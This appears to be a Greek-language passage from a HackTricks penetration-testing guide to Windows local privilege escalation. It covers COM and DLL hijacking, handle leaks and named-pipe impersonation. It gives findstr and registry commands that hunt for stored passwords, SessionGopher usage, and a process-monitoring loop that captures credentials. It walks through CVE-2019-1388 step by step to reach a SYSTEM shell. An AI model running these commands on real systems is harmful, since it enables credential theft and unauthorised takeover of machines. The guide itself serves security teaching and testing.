Θα πρέπει να ελέγξετε τις βάσεις δεδομένων όπου αποθηκεύονται οι κωδικοί από Chrome ή Firefox. Επίσης, ελέγξτε το ιστορικό, τους σελιδοδείκτες και τα αγαπημένα των περιηγητών, ίσως κάποιοι κωδικοί να είναι αποθηκευμένοι εκεί.

Εργαλεία για την εξαγωγή κωδικών από περιηγητές:

Αντικατάσταση COM DLL

Το Component Object Model (COM) είναι μια τεχνολογία που υπάρχει μέσα στο λειτουργικό σύστημα Windows και επιτρέπει την αλληλεπίδραση μεταξύ συστατικών λογισμικού διαφορετικών γλωσσών. Κάθε συστατικό COM είναι αναγνωρισμένο μέσω ενός αναγνωριστικού κλάσης (CLSID) και κάθε συστατικό εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω αναγνωριστικών διεπαφών (IIDs).

Οι κλάσεις COM και οι διεπαφές ορίζονται στο registry κάτω από HKEY_CLASSES_ROOT\CLSID και HKEY_CLASSES_ROOT\Interface αντίστοιχα. Αυτό το registry δημιουργείται συγχωνεύοντας τα HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes = HKEY_CLASSES_ROOT.

Μέσα στα CLSIDs αυτού του registry μπορείτε να βρείτε το παιδί registry InProcServer32 το οποίο περιέχει μια προεπιλεγμένη τιμή που δείχνει σε ένα DLL και μια τιμή που ονομάζεται ThreadingModel που μπορεί να είναι Apartment (Μονονηματικό), Free (Πολυνηματικό), Both (Μονονηματικό ή Πολυνηματικό) ή Neutral (Ανεξάρτητο από νήμα).

Βασικά, αν μπορείτε να αντικαταστήσετε οποιοδήποτε από τα DLLs που θα εκτελεστούν, θα μπορούσατε να αναβαθμίσετε τα δικαιώματά σας αν αυτό το DLL θα εκτελεστεί από διαφορετικό χρήστη.

Για να μάθετε πώς οι επιτιθέμενοι χρησιμοποιούν την Αντικατάσταση COM ως μηχανισμό διατήρησης, ελέγξτε:

pageCOM Hijacking

Γενική αναζήτηση κωδικών σε αρχεία και στο registry

Αναζήτηση περιεχομένου αρχείων

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Αναζήτηση ενός αρχείου με συγκεκριμένο όνομα αρχείου

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Αναζητήστε το μητρώο για ονόματα κλειδιών και κωδικούς πρόσβασης

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Εργαλεία που αναζητούν κωδικούς πρόσβασης

Το MSF-Credentials Plugin είναι ένα plugin του msf που δημιούργησα για να εκτελεί αυτόματα κάθε μονάδα POST του metasploit που αναζητά διαπιστευτήρια μέσα στο θύμα. Το Winpeas αναζητά αυτόματα όλα τα αρχεία που περιέχουν κωδικούς πρόσβασης που αναφέρονται σε αυτήν τη σελίδα. Το Lazagne είναι ένα άλλο εξαιρετικό εργαλείο για την εξαγωγή κωδικών πρόσβασης από ένα σύστημα.

Το εργαλείο SessionGopher αναζητά συνεδρίες, ονόματα χρηστών και κωδικούς πρόσβασης από διάφορα εργαλεία που αποθηκεύουν αυτά τα δεδομένα σε καθαρό κείμενο (PuTTY, WinSCP, FileZilla, SuperPuTTY και RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Διαρροές Χειριστών

Φαντάσου ότι ένας διεργασία που εκτελείται ως SYSTEM ανοίγει μια νέα διεργασία (OpenProcess()) με πλήρη πρόσβαση. Η ίδια διεργασία δημιουργεί επίσης μια νέα διεργασία (CreateProcess()) με χαμηλά προνόμια αλλά κληρονομώντας όλους τους ανοικτούς χειριστές της κύριας διεργασίας. Στη συνέχεια, αν έχεις πλήρη πρόσβαση στη διεργασία με τα χαμηλά προνόμια, μπορείς να αποκτήσεις τον ανοικτό χειριστή της προνομιούχας διεργασίας που δημιουργήθηκε με το OpenProcess() και να ενθετήσεις ένα shellcode. Διάβασε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με πώς να ανιχνεύσεις και να εκμεταλλευτείς αυτήν την ευπάθεια. Διάβασε αυτήν την άλλη ανάρτηση για μια πιο πλήρη εξήγηση σχετικά με το πώς να δοκιμάσεις και να εκμεταλλευτείς περισσότερους ανοικτούς χειριστές διεργασιών και νημάτων που κληρονομήθηκαν με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο πλήρη πρόσβαση).

Παραποίηση Πελάτη Ονομασμένης Σωλήνας

Οι κοινόχρηστοι τομείς μνήμης, γνωστοί ως σωλήνες, επιτρέπουν την επικοινωνία διεργασιών και τη μεταφορά δεδομένων.

Τα Windows παρέχουν μια δυνατότητα που ονομάζεται Ονομασμένοι Σωλήνες, επιτρέποντας σε μη σχετικές διεργασίες να μοιραστούν δεδομένα, ακόμα και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με μια αρχιτεκτονική πελάτη/διακομιστή, με ρόλους που ορίζονται ως διακομιστής ονομασμένου σωλήνα και πελάτης ονομασμένου σωλήνα.

Όταν δεδομένα στέλνονται μέσω ενός σωλήνα από έναν πελάτη, ο διακομιστής που έχει δημιουργήσει το σωλήνα έχει τη δυνατότητα να πάρει την ταυτότητα του πελάτη, υποθέτοντας ότι έχει τα απαραίτητα δικαιώματα SeImpersonate. Εντοπίζοντας μια προνομιούχα διεργασία που επικοινωνεί μέσω ενός σωλήνα που μπορείς να μιμηθείς, προσφέρεται η ευκαιρία να αποκτήσεις υψηλότερα προνόμια αναλαμβάνοντας την ταυτότητα αυτής της διεργασίας μόλις αλληλεπιδρά με το σωλήνα που δημιούργησες. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείς να βρεις χρήσιμους οδηγούς εδώ και εδώ.

Επίσης, το ακόλουθο εργαλείο επιτρέπει τη παρεμβολή σε μια επικοινωνία ονομασμένου σωλήνα με ένα εργαλείο όπως το burp: https://github.com/gabriel-sztejnworcel/pipe-intercept και αυτό το εργαλείο επιτρέπει τη λίστα και την προβολή όλων των σωλήνων για την εντοπιση προνομιούχων εξορυξεων https://github.com/cyberark/PipeViewer

Διάφορα

Παρακολούθηση Εντολών για κωδικούς πρόσβασης

Όταν αποκτάς ένα κέλυφος ως χρήστης, μπορεί να υπάρχουν προγραμματισμένες εργασίες ή άλλες διεργασίες που εκτελούνται και περνούν διαπιστευτήρια στη γραμμή εντολών. Το παρακάτω σενάριο καταγράφει τις γραμμές εντολών των διεργασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας οποιεσδήποτε διαφορές.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Κλοπή κωδικών από διεργασίες

Από Χρήστη Χαμηλών Δικαιωμάτων σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC

Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και το UAC είναι ενεργοποιημένο, σε μερικές εκδόσεις των Microsoft Windows είναι δυνατόν να εκτελέσετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη.

Αυτό καθιστά δυνατή την ανάδειξη προνομίων και την παράκαμψη του UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν χρειάζεται να εγκαταστήσετε οτιδήποτε και το δυαδικό που χρησιμοποιείται κατά τη διαδικασία, είναι υπογεγραμμένο και εκδόθηκε από τη Microsoft.

Μερικά από τα επηρεαζόμενα συστήματα είναι τα ακόλουθα:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Για να εκμεταλλευτείτε αυτήν την ευπάθεια, είναι απαραίτητο να εκτελέσετε τα ακόλουθα βήματα:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Έχετε όλα τα απαραίτητα αρχεία και πληροφορίες στο ακόλουθο αποθετήριο GitHub:

https://github.com/jas502n/CVE-2019-1388

Από Διαχειριστής Μεσαίου σε Υψηλό Επίπεδο Ακεραιότητας / Παράκαμψη UAC

Διαβάστε αυτό για μάθετε για τα Επίπεδα Ακεραιότητας:

pageIntegrity Levels

Στη συνέχεια διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις του UAC:

pageUAC - User Account Control

Από Υψηλό Επίπεδο σε Σύστημα

Νέα υπηρεσία

Αν εκτελείστε ήδη σε ένα διαδικασία Υψηλής Ακεραιότητας, η μετάβαση σε SYSTEM μπορεί να είναι εύκολη απλά με το δημιουργία και εκτέλεση μιας νέας υπηρεσίας:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

Από ένα διεργασία με υψηλή εμπιστοσύνη μπορείτε να ενεργοποιήσετε τις καταχωρήσεις του μητρώου AlwaysInstallElevated και να εγκαταστήσετε ένα αντίστροφο κέλυφος χρησιμοποιώντας ένα .msi περιτύλιγμα. Περισσότερες πληροφορίες σχετικά με τα κλειδιά του μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα πακέτο .msi εδώ.

Υψηλή + SeImpersonate προνόμια προς το Σύστημα

Μπορείτε να βρείτε τον κώδικα εδώ.

Από SeDebug + SeImpersonate σε πλήρη δικαιώματα διακριτικού

Αν έχετε αυτά τα δικαιώματα διακριτικού (πιθανόν θα τα βρείτε σε μια ήδη διεργασία με υψηλή εμπιστοσύνη), θα μπορείτε να ανοίξετε σχεδόν οποιαδήποτε διεργασία (μη προστατευμένες διεργασίες) με το δικαίωμα SeDebug, αντιγράψετε το διακριτικό της διεργασίας και να δημιουργήσετε μια αυθαίρετη διεργασία με αυτό το διακριτικό. Χρησιμοποιώντας αυτή την τεχνική συνήθως επιλέγεται μια διεργασία που εκτελείται ως ΣΥΣΤΗΜΑ με όλα τα δικαιώματα διακριτικού (ναι, μπορείτε να βρείτε διεργασίες ΣΥΣΤΗΜΑΤΟΣ χωρίς όλα τα δικαιώματα διακριτικού). Μπορείτε να βρείτε ένα παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ.

Ονομασμένα Σωλήνες

Αυτή η τεχνική χρησιμοποιείται από το meterpreter για την ανάδειξη σε getsystem. Η τεχνική αποτελείται από το δημιουργία ενός σωλήνα και στη συνέχεια τη δημιουργία/κατάχρηση ενός υπηρεσίας για να γράψει σε αυτόν τον σωλήνα. Στη συνέχεια, ο server που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα SeImpersonate θα μπορεί να υποκαταστήσει το διακριτικό του πελάτη του σωλήνα (η υπηρεσία) αποκτώντας δικαιώματα ΣΥΣΤΗΜΑΤΟΣ. Αν θέλετε να μάθετε περισσότερα για τους ονομασμένους σωλήνες πρέπει να διαβάσετε αυτό. Αν θέλετε να διαβάσετε ένα παράδειγμα πώς να πάτε από υψηλή εμπιστοσύνη σε Σύστημα χρησιμοποιώντας ονομασμένους σωλήνες πρέπει να διαβάσετε αυτό.

Dll Hijacking

Αν καταφέρετε να κλέψετε μια dll που φορτώνεται από μια διεργασία που εκτελείται ως ΣΥΣΤΗΜΑ θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα με αυτά τα δικαιώματα. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτόν τον τύπο ανάδειξης προνομίων, και, επιπλέον, είναι πολύ ευκολότερο να επιτευχθεί από μια διεργασία με υψηλή εμπιστοσύνη καθώς θα έχει δικαιώματα εγγραφής στους φακέλους που χρησιμοποιούνται για τη φόρτωση των dlls. Μπορείτε να μάθετε περισσότερα για την Dll hijacking εδώ.

Από Διαχειριστής ή Δικτυακή Υπηρεσία σε Σύστημα

Από ΤΟΠΙΚΗ ΥΠΗΡΕΣΙΑ ή ΔΙΚΤΥΚΗ ΥΠΗΡΕΣΙΑ σε πλήρη προνόμια

Ανάγνωση: https://github.com/itm4n/FullPowers

Περισσότερη βοήθεια

Στατικά δυαδικά αρχεία impacket

Χρήσιμα εργαλεία

Καλύτερο εργαλείο για αναζήτηση διανυσματικών ανόδων τοπικών προνομίων στα Windows: WinPEAS

PS

PrivescCheck PowerSploit-Privesc(PowerUP) -- Έλεγχος για λανθασμένες ρυθμίσεις και ευαίσθητα αρχεία (ελέγξτε εδώ). Εντοπίστηκε. JAWS -- Έλεγχος για ορισμένες πιθανές λανθασμένες ρυθμίσεις και συγκέντρωση πληροφοριών (ελέγξτε εδώ). privesc -- Έλεγχος για λανθασμένες ρυθμίσεις SessionGopher -- Εξάγει πληροφορίες συνεδρίας από PuTTY, WinSCP, SuperPuTTY, FileZilla και αποθηκευμένες συνεδρίες RDP. Χρησιμοποιήστε -Thorough τοπικά. Invoke-WCMDump -- Εξάγει διαπιστευτήρια από τον Διαχειριστή Διαπιστευτηρίων. Εντοπίστηκε. DomainPasswordSpray -- Ψεκάζει συγκεντρωμένους κωδικούς πρόσβασης σε όλο τον τομέα Inveigh -- Το Inveigh είναι ένα εργαλείο απάτης και man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS. WindowsEnum -- Βασική αναγνώριση Windows για ανόδους προνομίων Sherlock ~~~~ -- Αναζήτηση γνωστών ευπαθειών ανόδου προνομίων (ΑΠΟΣΥΡΘΗΚΕ για το Watson) WINspect -- Τοπικοί έλεγχοι (Χρειάζονται δικαιώματα Διαχειριστή)

Exe

Watson -- Αναζήτηση γνωστών ευπαθειών ανόδου προνομίων (χρειάζεται να μεταγλωττιστεί χρησιμοποιώντας το VisualStudio) (προμεταγλωττισμένο) SeatBelt -- Απαριθμεί τον υπολογιστή αναζητώντας λανθασμένες ρυθμίσεις (περισσότερο ένα εργαλείο συγκέντρωσης πληροφοριών παρά ανόδου προνομίων) (χρειάζεται μεταγλώττιση) (προμεταγλωττισμένο) LaZagne -- Εξάγει διαπιστευτήρια από πολλές εφαρμογές (προμεταγλωττισμένο exe στο github) SharpUP -- Μεταφορά του PowerUp σε C# Beroot ~~~~ -- Έλεγχος για λανθασμένες ρυθμίσεις (εκτελέσιμο προμεταγλωττισμένο στο github). Δεν συνιστάται. Δεν λειτουργεί καλά στα Win10. Windows-Privesc-Check -- Έλεγχος για πιθανές λανθασμένες ρυθμί

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Βιβλιογραφία

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με htARTE (HackTricks AWS Red Team Expert)!

Last updated